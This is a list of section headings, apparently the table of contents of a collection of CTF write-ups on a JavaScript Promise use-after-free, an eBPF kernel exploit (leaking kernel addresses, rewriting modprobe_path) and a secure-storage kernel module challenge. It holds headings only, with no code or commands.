Trigger Kernel Module Functions

Trigger UAF

Heap Spray

TCTF 2021 Promise

0x00 Overview

0x01 Prerequisite

Variable Representation

Debug

Garbage Collection

0x02 Vulnerability

JavaScript Promise

0x03 Exploitation

Triggering UAF

Exploiting UAF

0x04 Conclusion

Google CTF 2021 eBPF

0x00 Overview

0x01 Introduction to eBPF

eBPF Environment

0x02 Vulnerability

0x03 Exploitation

Get PTR_TO_MAP_VALUE Register

Leaking Kernel Address

Rewriting modprobe_path

0x04 Conclusion

TCTF 2021 Secure Storage

0x00 Overview

0x01 Reverse Engineering

ss_agent

ss.ko

Debugging

0x02 Side Channel Attack

0x03 Exploit ss_agent

0x04 Exploit ss.ko

0x05 Conclusion

0x03 Exploit `ss_agent`

0x04 Exploit `ss.ko`